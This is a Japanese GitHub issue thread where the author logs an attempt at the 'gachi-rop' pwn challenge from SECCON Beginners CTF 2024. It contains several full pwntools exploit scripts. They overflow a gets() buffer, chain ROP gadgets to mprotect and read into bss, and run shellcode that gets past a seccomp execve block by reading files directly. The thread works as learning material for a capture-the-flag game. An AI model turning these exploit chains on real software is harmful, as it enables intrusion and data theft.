roaris / ctf-log

0 stars 0 forks source link

SECCON Beginners CTF 2024 : gachi-rop #57

Open roaris opened 1 month ago

roaris commented 1 month ago

(まだ問題がGitHubにアップロードされてないので後で追記)

roaris commented 1 month ago

時間中に解けなかった問題

まず、時間中に自分が考えていたことを書いておく

ソースコードは与えられていない

$ ./gachi-rop 
system@0x7fd95f027920
Name: test
Hello, gachi-rop-test!!
$ checksec gachi-rop
[*] '/home/roaris/SECCON_beginners_2024/gachi-rop/gachi-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

objdumpしてmain関数を確認する

000000000040121b <main>:
  40121b:   55                      push   rbp
  40121c:   48 89 e5                mov    rbp,rsp
  40121f:   48 83 ec 10             sub    rsp,0x10
  401223:   b8 00 00 00 00          mov    eax,0x0
  401228:   e8 59 ff ff ff          call   401186 <install_seccomp>
  40122d:   48 8b 05 bc 2d 00 00    mov    rax,QWORD PTR [rip+0x2dbc]        # 403ff0 <system@GLIBC_2.2.5>
  401234:   48 89 c6                mov    rsi,rax
  401237:   48 8d 05 f7 0d 00 00    lea    rax,[rip+0xdf7]        # 402035 <_IO_stdin_used+0x35>
  40123e:   48 89 c7                mov    rdi,rax
  401241:   b8 00 00 00 00          mov    eax,0x0
  401246:   e8 e5 fd ff ff          call   401030 <printf@plt>
  40124b:   48 c7 45 f0 00 00 00    mov    QWORD PTR [rbp-0x10],0x0
  401252:   00 
  401253:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0
  40125a:   00 
  40125b:   48 8d 05 de 0d 00 00    lea    rax,[rip+0xdde]        # 402040 <_IO_stdin_used+0x40>
  401262:   48 89 c7                mov    rdi,rax
  401265:   b8 00 00 00 00          mov    eax,0x0
  40126a:   e8 c1 fd ff ff          call   401030 <printf@plt>
  40126f:   48 8d 45 f0             lea    rax,[rbp-0x10]
  401273:   48 89 c7                mov    rdi,rax
  401276:   b8 00 00 00 00          mov    eax,0x0
  40127b:   e8 e0 fd ff ff          call   401060 <gets@plt>
  401280:   48 8d 45 f0             lea    rax,[rbp-0x10]
  401284:   48 89 c6                mov    rsi,rax
  401287:   48 8d 05 b9 0d 00 00    lea    rax,[rip+0xdb9]        # 402047 <_IO_stdin_used+0x47>
  40128e:   48 89 c7                mov    rdi,rax
  401291:   b8 00 00 00 00          mov    eax,0x0
  401296:   e8 95 fd ff ff          call   401030 <printf@plt>
  40129b:   b8 00 00 00 00          mov    eax,0x0
  4012a0:   c9                      leave
  4012a1:   c3                      ret

gets関数を使って、rbp-0x10を開始位置として入力を格納している スタックオーバーフローだろう 参考: http://www1.cts.ne.jp/~clab/hsample/IO/IO16.html

実行時のsystem関数のアドレスが分かっているので、pop rdi; ret;sh\0のアドレスをrdiに格納してから、system関数を呼び出せばよいだろう

call 401186 <install_seccomp>が何なのか気にはなっていたが、とりあえずこの方針でやってみた

roaris commented 1 month ago

以下のプログラムを書いた pop rdi; ret;のアドレスはlibc.so.6から見つけている 5f c3でpop rdi; ret;になるというのを知っている

...
   2a3e4:   41 5f                   pop    r15
   2a3e6:   c3                      ret
...

sh\0もpwntoolsを使って、libc.so.6から見つけている

from pwn import *

is_remote = True

if is_remote:
    io = remote('gachi-rop.beginners.seccon.games', 4567)
    libc_system_addr = 0x50d70
    libc_pop_rdi_ret_addr = 0x2a3e5
    e = ELF('./libc.so.6')
    libc_system_arg_addr = next(e.search(b'sh\0'))

io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
runtime_pop_rdi_ret_addr = libc_base + libc_pop_rdi_ret_addr
runtime_system_arg_addr = libc_base + libc_system_arg_addr

payload = b'a' * (0x10 + 0x8)
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += runtime_system_arg_addr.to_bytes(8, 'little')
payload += runtime_system_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()

しかし、上手くいかない rspレジスタが16の倍数じゃないといけないというやつかもしれない https://github.com/roaris/ctf-log/issues/51#issuecomment-2159089169

ret命令を挟んで、rspレジスタを8ずらしてみるが、上手くいかない

from pwn import *

is_remote = True

if is_remote:
    io = remote('gachi-rop.beginners.seccon.games', 4567)
    libc_system_addr = 0x50d70
    libc_pop_rdi_ret_addr = 0x2a3e5
    e = ELF('./libc.so.6')
    libc_system_arg_addr = next(e.search(b'sh\0'))
    ret_addr = 0x40101a

io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
runtime_pop_rdi_ret_addr = libc_base + libc_pop_rdi_ret_addr
runtime_system_arg_addr = libc_base + libc_system_arg_addr

payload = b'a' * (0x10 + 0x8)
payload += ret_addr.to_bytes(8, 'little')
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += runtime_system_arg_addr.to_bytes(8, 'little')
payload += runtime_system_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
roaris commented 1 month ago

ローカルで試した

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("system@%p\n", &system);
    char buf[0x10];
    printf("Name: ");
    gets(buf);
    printf("Hello, gachi-rop-%s!!", buf);
}

gcc test.c -o test -fno-stack-protector -no-pieでコンパイルする

lddコマンドでlibcのパスを確認する

$ ldd test
        linux-vdso.so.1 (0x00007ffc291d8000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6e22978000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f6e22b72000)
from pwn import *

is_remote = False

if is_remote:
    io = remote('gachi-rop.beginners.seccon.games', 4567)
    libc_system_addr = 0x50d70
    libc_pop_rdi_ret_addr = 0x2a3e5
    e = ELF('./libc.so.6')
    libc_system_arg_addr = next(e.search(b'sh\0'))
    ret_addr = 0x40101a
else:
    io = process('./test')
    libc_system_addr = 0x4c920
    libc_pop_rdi_ret_addr = 0x27c65
    e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_system_arg_addr = next(e.search(b'sh\0'))
    ret_addr = 0x401016

io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
runtime_pop_rdi_ret_addr = libc_base + libc_pop_rdi_ret_addr
runtime_system_arg_addr = libc_base + libc_system_arg_addr

payload = b'a' * (0x10 + 0x8)
payload += ret_addr.to_bytes(8, 'little')
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += runtime_system_arg_addr.to_bytes(8, 'little')
payload += runtime_system_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()

ローカルでは成功する ということは、call 401186 <install_seccomp>が怪しいだろう しかし、ここから何をしたら良いのか分からなくて解けなかった

roaris commented 1 month ago

writeupを確認する https://github.com/satoki/ctf4b_2024_satoki_writeups/tree/main/pwnable/gachi-rop

seccompというものがあるらしい https://www.creationline.com/tech-blog/46861

Seccompとは、Linuxカーネルが持つセキュリティ機構の一つで、Secure Computing Modeの略です。簡単に言うと、Seccompはシステムコールの許可・不許可を設定できるようにし、危険なシステムコールを実行できなくするためのものです。

seccomp-toolsで確認出来るらしい

$ seccomp-tools dump ./gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

ちゃんとした見方は分からないが、雰囲気としてはexecveシステムコールやexecveatシステムコールを呼ぶと、エラーになるという感じである

execveは、execveを呼び出したプロセスの動作を、引数で指定したプログラムの実行に切り替えるというもの

man 2 execveによる説明

execve() executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments.

execveatもexecveと同じ感じだろう(ちゃんと見てない)

system関数ではexecveシステムコールやexecveatシステムコールを使っているため、seccompでエラーになってしまう

roaris commented 1 month ago

seccompの存在は知ったが、それでもどうやって解けばよいのか分からない writeupのコードを頑張って理解する

getdentsシステムコールというものを使っている man 2 getdentsで確認する

SYNOPSIS
       #include <sys/syscall.h>      /* Definition of SYS_* constants */
       #include <unistd.h>

       long syscall(SYS_getdents, unsigned int fd, struct linux_dirent *dirp,
                    unsigned int count);

       #define _GNU_SOURCE           /* See feature_test_macros(7) */
       #include <dirent.h>

       ssize_t getdents64(int fd, void dirp[.count], size_t count);

       Note: glibc provides no wrapper for getdents(), necessitating the use of syscall(2).

       Note: There is no definition of struct linux_dirent in glibc; see NOTES.

DESCRIPTION
       These are not the interfaces you are interested in.  Look at readdir(3) for the POSIX-conforming C library in‐
       terface.  This page documents the bare kernel system call interfaces.

   getdents()
       The  system  call  getdents() reads several linux_dirent structures from the directory referred to by the open
       file descriptor fd into the buffer pointed to by dirp.  The argument count specifies the size of that buffer.

       The linux_dirent structure is declared as follows:

           struct linux_dirent {
               unsigned long  d_ino;     /* Inode number */
               unsigned long  d_off;     /* Offset to next linux_dirent */
               unsigned short d_reclen;  /* Length of this linux_dirent */
               char           d_name[];  /* Filename (null-terminated) */
                                 /* length is actually (d_reclen - 2 -
                                    offsetof(struct linux_dirent, d_name)) */
               /*
               char           pad;       // Zero padding byte
               char           d_type;    // File type (only since Linux
                                         // 2.6.4); offset is (d_reclen - 1)
               */
           }

       d_ino is an inode number.  d_off is the distance from the start of the directory to  the  start  of  the  next
       linux_dirent.  d_reclen is the size of this entire linux_dirent.  d_name is a null-terminated filename.

ディレクトリに対してopenシステムコールで得られるファイルディスクリプタを渡すことで、linux_direntという構造体が指定のアドレスに書き込まれる linux_direntにはd_nameというフィールドがあり、これを参照することで、ファイル名が得られる d_nameの前に、long型のフィールド2つと、short型のフィールド2つがある long型は8バイト、short型は2バイトなので、d_nameはlinux_direntの先頭アドレスから18バイト先に存在する ディレクトリ中のどのファイル名が得られるの?という気になる writeupのコードを読むと、getdentsシステムコールを繰り返し呼んでいる getdentsシステムコールを繰り返し呼んでいくことで、得られるファイル名が変わっていくようだ

まず、ctf4bディレクトリに対して、openシステムコールを呼ぶ そして、以下を繰り返す

  1. getdentsでファイル名取得
  2. そのファイルに対してopenシステムコールを呼ぶ
  3. readシステムコールを呼んで、ファイルに書かれている内容をバッファに格納
  4. writeシステムコールを呼んで、バッファの内容を標準出力に出力する & 1に戻る

getdentsの戻り値については

RETURN VALUE On success, the number of bytes read is returned. On end of directory, 0 is returned. On error, -1 is re‐ turned, and errno is set to indicate the error.

とある エラーが起こることは考えず、0が返されたらexitシステムコールを呼ぶ

以上の処理をシェルコードとして、bss領域に書き込んで、mprotectシステムコールで実行権限を付与する mprotectシステムコールについてもman 2 mprotectで確認しよう

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void addr[.len], size_t len, int prot);

       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <sys/mman.h>

       int pkey_mprotect(void addr[.len], size_t len, int prot, int pkey);

DESCRIPTION
       mprotect()  changes  the  access protections for the calling process's memory pages containing any part of the
       address range in the interval [addr, addr+len-1].  addr must be aligned to a page boundary.

writeupではprotを7にしている 多分、読み込み、書き込み、実行の論理和が7なんだろう コード中のelf.section(".bss") & ~0xFFF& ~0xFFFは下位12ビットを0にするという処理である addr must be aligned to a page boundary.とあるので、こうしないとエラーになるのだろう(ページサイズは一般的に4096ビットのようだ) readシステムコールに標準入力のファイルディスクリプタを与えることで、bss領域にシェルコードを書き込む jmp命令でシェルコードの先頭アドレスに飛んで、シェルコードを実行する

roaris commented 1 month ago

writeupのコードを見ながら、自分でコードを書いてみる

from pwn import *

is_remote = True

if is_remote:
    io = remote('gachi-rop.beginners.seccon.games', 4567)
    e = ELF('./gachi-rop')
    libc = ELF('./libc.so.6')

libc_system_addr = libc.symbols['system']
libc_mprotect_addr = libc.symbols['mprotect']
libc_read_addr = libc.symbols['read']
shellcode_addr = e.bss() & ~0xFFF
shellcode_len = 0x1000

rop = ROP(libc)
libc_pop_rdi_ret_addr = rop.find_gadget(['pop rdi', 'ret']).address
libc_pop_rsi_ret_addr = rop.find_gadget(['pop rsi', 'ret']).address
libc_pop_rdx_pop_r12_ret_addr = rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address
libc_pop_rax_ret_addr = rop.find_gadget(['pop rax', 'ret']).address
# libc_jmp_rax_addr = rop.find_gadget(['jmp rax']).address
libc_jmp_rax_addr = 0x2a147

io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr

payload = b'a' * (0x10 + 0x8)

# mprotect
payload += (libc_pop_rdi_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little') # mprotect arg1 addr
payload += (libc_pop_rsi_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little') # mprotect arg2 len
payload += (libc_pop_rdx_pop_r12_ret_addr + libc_base).to_bytes(8, 'little')
payload += 0x7.to_bytes(8, 'little') # mprotect arg3 prot
payload += 0x0.to_bytes(8, 'little') # dummy
payload += (libc_mprotect_addr + libc_base).to_bytes(8, 'little')

# read
payload += (libc_pop_rdi_ret_addr + libc_base).to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little') # read arg1 fd
payload += (libc_pop_rsi_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little') # mprotect arg2 addr
payload += (libc_pop_rdx_pop_r12_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little') # mprotect arg3 len
payload += 0x0.to_bytes(8, 'little') # dummy
payload += (libc_read_addr + libc_base).to_bytes(8, 'little')

# jmp
payload += (libc_pop_rax_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little')
payload += libc_pop_rax_ret_addr.to_bytes(8, 'little')

io.sendline(payload)

shellcode = asm(
"""
    xor rsi, rsi
    lea rdi, [rel ctf4b]
    mov rax, 2
    syscall
    mov r13, rax

loop:
    mov rdx, 0x40
    lea rsi, [rel buf]
    mov rdi, r13
    mov rax, 78
    syscall
    test rax, rax
    jz end

    mov dword [buf + 18 - 8], './ct'
    mov dword [buf + 18 - 4], 'f4b/'
    xor rsi, rsi
    lea rdi, [buf + 18 - 8]
    mov rax, 2
    syscall

    mov rdx, 0x100
    mov rsi, [rel buf]
    mov rdi, rax
    mov rax, 0
    syscall
    test rax, rax
    jz loop

    mov rdx, rax
    mov rsi, [rel buf]
    mov rdi, 1
    mov rax, 1
    syscall

    jmp loop
end:
    xor rdi, rdi
    mov rax, 60
    syscall

ctf4b: db "./ctf4b", 0
buf:
"""
)

io.sendline(shellcode)
print(io.recvall())
$ python exploit2.py
[+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done
[*] '/home/roaris/SECCON_beginners_2024/gachi-rop/gachi-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/roaris/SECCON_beginners_2024/gachi-rop/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 219 cached gadgets for './libc.so.6'
[ERROR] There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-32', '-o', '/tmp/pwn-asm-e7_lw8ae/step2', '/tmp/pwn-asm-e7_lw8ae/step1']:
    It had the exitcode 1.
    It had this on stdout:
    /tmp/pwn-asm-e7_lw8ae/step1: Assembler messages:
    /tmp/pwn-asm-e7_lw8ae/step1:8: Error: operand size mismatch for `xor'
    /tmp/pwn-asm-e7_lw8ae/step1:9: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:9: Error: junk `rel ctf4b]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:10: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:12: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:14: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:15: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:15: Error: junk `rel buf]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:16: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:17: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:19: Error: operand size mismatch for `test'
    /tmp/pwn-asm-e7_lw8ae/step1:21: Error: junk `dword [buf+18 - 4]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:22: Error: operand type mismatch for `lea'
    /tmp/pwn-asm-e7_lw8ae/step1:23: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:25: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:26: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:26: Error: junk `rel buf]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:27: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:28: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:30: Error: operand size mismatch for `test'
    /tmp/pwn-asm-e7_lw8ae/step1:32: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:33: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:33: Error: junk `rel buf]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:34: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:35: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:39: Error: operand size mismatch for `xor'
    /tmp/pwn-asm-e7_lw8ae/step1:40: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:42: Error: no such instruction: `db "./ctf4b",0'

[ERROR] An error occurred while assembling:
       1: .section .shellcode,"awx"
       2: .global _start
       3: .global __start
       4: _start:
       5: __start:
       6: .intel_syntax noprefix
       7: .p2align 0
       8:     xor rsi, rsi
       9:     lea rdi, [rel ctf4b]
      10:     mov rax, 2
      11:     syscall
      12:     mov r13, rax
      13: loop:
      14:     mov rdx, 0x40
      15:     lea rsi, [rel buf]
      16:     mov rdi, r13
      17:     mov rax, 78
      18:     syscall
      19:     test rax, rax
      20:     jz end
      21:     mov dword [buf + 18 - 8], './ct'
      22:     mov dword [buf + 18 - 4], 'f4b/'
      23:     xor rsi, rsi
      24:     lea rdi, [buf + 18 - 8]
      25:     mov rax, 2
      26:     syscall
      27:     mov rdx, 0x100
      28:     mov rsi, [rel buf]
      29:     mov rdi, rax
      30:     mov rax, 0
      31:     syscall
      32:     test rax, rax
      33:     jz loop
      34:     mov rdx, rax
      35:     mov rsi, [rel buf]
      36:     mov rdi, 1
      37:     mov rax, 1
      38:     syscall
      39:     jmp loop
      40: end:
      41:     xor rdi, rdi
      42:     mov rax, 60
      43:     syscall
      44: ctf4b: db "./ctf4b", 0
      45: buf:
    Traceback (most recent call last):
      File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 713, in asm
        _run(assembler + ['-o', step2, step1])
      File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 431, in _run
        log.error(msg, *args)
      File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/log.py", line 439, in error
        raise PwnlibException(message % args)
    pwnlib.exception.PwnlibException: There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-32', '-o', '/tmp/pwn-asm-e7_lw8ae/step2', '/tmp/pwn-asm-e7_lw8ae/step1']:
    It had the exitcode 1.
    It had this on stdout:
    /tmp/pwn-asm-e7_lw8ae/step1: Assembler messages:
    /tmp/pwn-asm-e7_lw8ae/step1:8: Error: operand size mismatch for `xor'
    /tmp/pwn-asm-e7_lw8ae/step1:9: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:9: Error: junk `rel ctf4b]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:10: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:12: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:14: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:15: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:15: Error: junk `rel buf]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:16: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:17: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:19: Error: operand size mismatch for `test'
    /tmp/pwn-asm-e7_lw8ae/step1:21: Error: junk `dword [buf+18 - 4]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:22: Error: operand type mismatch for `lea'
    /tmp/pwn-asm-e7_lw8ae/step1:23: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:25: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:26: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:26: Error: junk `rel buf]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:27: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:28: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:30: Error: operand size mismatch for `test'
    /tmp/pwn-asm-e7_lw8ae/step1:32: Error: operand size mismatch for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:33: Error: bad expression
    /tmp/pwn-asm-e7_lw8ae/step1:33: Error: junk `rel buf]' after expression
    /tmp/pwn-asm-e7_lw8ae/step1:34: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:35: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:39: Error: operand size mismatch for `xor'
    /tmp/pwn-asm-e7_lw8ae/step1:40: Error: ambiguous operand size for `mov'
    /tmp/pwn-asm-e7_lw8ae/step1:42: Error: no such instruction: `db "./ctf4b",0'

Traceback (most recent call last):
  File "/home/roaris/SECCON_beginners_2024/gachi-rop/exploit2.py", line 61, in <module>
    shellcode = asm(
                ^^^^
  File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/context/__init__.py", line 1581, in setter
    return function(*a, **kw)
           ^^^^^^^^^^^^^^^^^^
  File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 759, in asm
    log.exception("An error occurred while assembling:\n%s" % lines)
  File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 713, in asm
    _run(assembler + ['-o', step2, step1])
  File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 431, in _run
    log.error(msg, *args)
  File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/log.py", line 439, in error
    raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-32', '-o', '/tmp/pwn-asm-e7_lw8ae/step2', '/tmp/pwn-asm-e7_lw8ae/step1']:
It had the exitcode 1.
It had this on stdout:
/tmp/pwn-asm-e7_lw8ae/step1: Assembler messages:
/tmp/pwn-asm-e7_lw8ae/step1:8: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: junk `rel ctf4b]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:10: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:12: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:14: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:16: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:17: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:19: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:21: Error: junk `dword [buf+18 - 4]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:22: Error: operand type mismatch for `lea'
/tmp/pwn-asm-e7_lw8ae/step1:23: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:25: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:27: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:28: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:30: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:32: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:34: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:35: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:39: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:40: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:42: Error: no such instruction: `db "./ctf4b",0'
[*] Closed connection to gachi-rop.beginners.seccon.games port 4567

シェルコードの書き方が違うらしく、大量のエラーが発生した

roaris commented 1 month ago

https://qiita.com/toha/items/65cfc6144128c5988e22#gachi-rop も参考にして、なんとか書いた シェルコードはshellcraftを使うと楽できる

from pwn import *

io = remote('gachi-rop.beginners.seccon.games', 4567)
exe = ELF('./gachi-rop', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe

libc_system_addr = libc.symbols['system']
io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr

shellcode_addr = exe.bss() & ~0xFFF # & ~0xFFF for alignment to page size
shellcode_len = 0x1000

# for rop
rop = ROP(libc)
runtime_mprotect_addr = libc_base + libc.symbols['mprotect']
runtime_read_addr = libc_base + libc.symbols['read']
runtime_pop_rdi_ret_addr = libc_base + rop.find_gadget(['pop rdi', 'ret']).address
runtime_pop_rsi_ret_addr = libc_base + rop.find_gadget(['pop rsi', 'ret']).address
runtime_pop_rdx_pop_r12_ret_addr = libc_base + rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address

# create payload
payload = b'a' * (0x10 + 0x8)

## mprotect(shellcode_addr, shellcode_len, 7)
## 7 is PROT_READ|PROT_WRITE|PROT_EXEC
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little')
payload += runtime_pop_rsi_ret_addr.to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little')
payload += runtime_pop_rdx_pop_r12_ret_addr.to_bytes(8, 'little')
payload += 0x7.to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little') # dummy
payload += runtime_mprotect_addr.to_bytes(8, 'little')

## read(0, shellcode_addr, shellcode_len)
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little')
payload += runtime_pop_rsi_ret_addr.to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little')
payload += runtime_pop_rdx_pop_r12_ret_addr.to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little') # dummy
payload += runtime_read_addr.to_bytes(8, 'little')

## ret to shellcode
payload += shellcode_addr.to_bytes(8, 'little')

io.sendline(payload)

# create shellcode
shellcode = asm(f'''
    {shellcraft.linux.open('/app/ctf4b', 0)}
    mov r13, rax
loop:
    {shellcraft.linux.getdents('r13', 'rsp', 0x50)}
    test eax, eax
    jz end
    /* rsp + 18 is file name addr (ref to `man 2 getdent`) */
    mov dword ptr [rsp + 18 - 8], 0x74632F2E /* ./ct */ 
    mov dword ptr [rsp + 18 - 4], 0x2F623466 /* f4b/ */
    lea r12, [rsp + 18 - 8]
    {shellcraft.linux.open('r12', 0)}
    {shellcraft.linux.read('rax', 'rsp', 0x30)}
    {shellcraft.linux.write(1, 'rsp', 'rax')}
    jmp loop
end:
    {shellcraft.linux.exit(0)}
''')

io.sendline(shellcode)
print(io.recvall())